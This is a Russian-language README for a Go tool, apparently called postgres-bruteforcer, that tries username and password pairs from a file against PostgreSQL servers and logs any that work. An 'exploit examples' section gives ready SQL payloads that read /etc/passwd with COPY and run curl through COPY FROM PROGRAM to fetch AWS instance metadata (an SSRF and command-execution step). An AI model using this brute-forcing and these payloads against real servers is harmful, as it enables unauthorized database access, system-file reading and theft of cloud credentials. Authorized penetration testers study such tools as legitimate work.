postgres-bruteforcer

Описание

Этот скрипт на Go читает список имён пользователей и паролей из файла creds.txt и проверяет их на базе данных PostgreSQL.

Скрипт принимает IP-адрес сервера PostgreSQL в качестве аргумента командной строки или текстовый файл с IP-адресами.

Если доступ предоставлен, скрипт записывает этот вывод в файл pg-output.txt.

Если пользователь postgres доступен, обычно это суперпользователь, который может позволить RCE, LFI или SSRF.

Как установить

go install -v github.com/RandomRobbieBF/postgres-bruteforcer@latest

Как запустить

go run postgres-brute.go 1.1.1.1

postgres

Примеры эксплойтов

Получение /etc/passwd/

CREATE TABLE myfile (input TEXT);
COPY myfile FROM '/etc/passwd';
SELECT input FROM myfile;

SSRF - получение метаданных AWS

CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'curl -L http://169.254.169.254/latest/meta-data/';
SELECT weather_json FROM weather_json;